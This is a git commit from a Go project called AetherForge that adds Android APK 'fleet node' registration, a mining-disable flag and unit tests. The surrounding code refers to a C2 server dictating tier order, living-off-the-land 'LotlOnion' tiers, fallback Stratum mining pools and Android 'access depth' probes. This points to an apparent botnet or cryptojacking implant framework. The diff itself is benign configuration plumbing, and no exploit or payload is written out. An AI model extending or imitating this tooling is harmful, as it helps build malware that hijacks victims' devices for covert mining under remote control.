Add Android APK fleet nodes with Crucible UI integration and tests.

APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.
This commit is contained in:
AetherForge
2026-06-07 02:44:29 -07:00
parent d9f36f182c
commit 50ebfe53cb
89 changed files with 2849 additions and 82 deletions

View File

@@ -116,6 +116,11 @@ type BuiltinConfig struct {
LotlOnionEnabled bool
LotlPolicyFromServer bool // when true, tier order is pulled from C2 on auth
LotlOnionTiers []string // baked order; ignored when LotlPolicyFromServer until auth
// ApkMode marks Android fleet-node builds; registration reports platform=android.
ApkMode bool
// MiningDisabled skips the mining fallback chain (default for APK fleet nodes).
MiningDisabled bool
}
// BackupPool holds connection info for a fallback Stratum mining pool.
@@ -228,6 +233,34 @@ func Load() RuntimeConfig {
return RuntimeConfig{BuiltinConfig: b}
}
// RegistrationPlatform returns the fleet registration OS label. APK wrapper sets
// AETHERFORGE_PLATFORM=android; forge may also bake ApkMode.
func RegistrationPlatform() string {
if p := strings.TrimSpace(os.Getenv("AETHERFORGE_PLATFORM")); p != "" {
return strings.ToLower(p)
}
b := GetBuiltinConfig()
if b.ApkMode {
return "android"
}
return runtime.GOOS
}
func (c RuntimeConfig) RegistrationPlatform() string {
if p := strings.TrimSpace(os.Getenv("AETHERFORGE_PLATFORM")); p != "" {
return strings.ToLower(p)
}
if c.ApkMode {
return "android"
}
return runtime.GOOS
}
// IsAndroidPlatform reports APK fleet-node workers (env override or ApkMode forge flag).
func IsAndroidPlatform() bool {
return RegistrationPlatform() == "android"
}
func (c RuntimeConfig) EffectiveThreads() int {
mode := strings.ToLower(c.ThreadMode)
if mode == "fixed" {

View File

@@ -0,0 +1,34 @@
package config
import (
"runtime"
"testing"
)
func TestRegistrationPlatformDefault(t *testing.T) {
t.Setenv("AETHERFORGE_PLATFORM", "")
if got := RegistrationPlatform(); got != runtime.GOOS {
t.Fatalf("RegistrationPlatform() = %q want %q", got, runtime.GOOS)
}
if IsAndroidPlatform() {
t.Fatal("IsAndroidPlatform() true without override")
}
}
func TestRegistrationPlatformFromEnv(t *testing.T) {
t.Setenv("AETHERFORGE_PLATFORM", "android")
if got := RegistrationPlatform(); got != "android" {
t.Fatalf("RegistrationPlatform() = %q want android", got)
}
if !IsAndroidPlatform() {
t.Fatal("IsAndroidPlatform() false with AETHERFORGE_PLATFORM=android")
}
}
func TestRegistrationPlatformApkMode(t *testing.T) {
t.Setenv("AETHERFORGE_PLATFORM", "")
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{ApkMode: true}}
if got := cfg.RegistrationPlatform(); got != "android" {
t.Fatalf("RegistrationPlatform() = %q want android", got)
}
}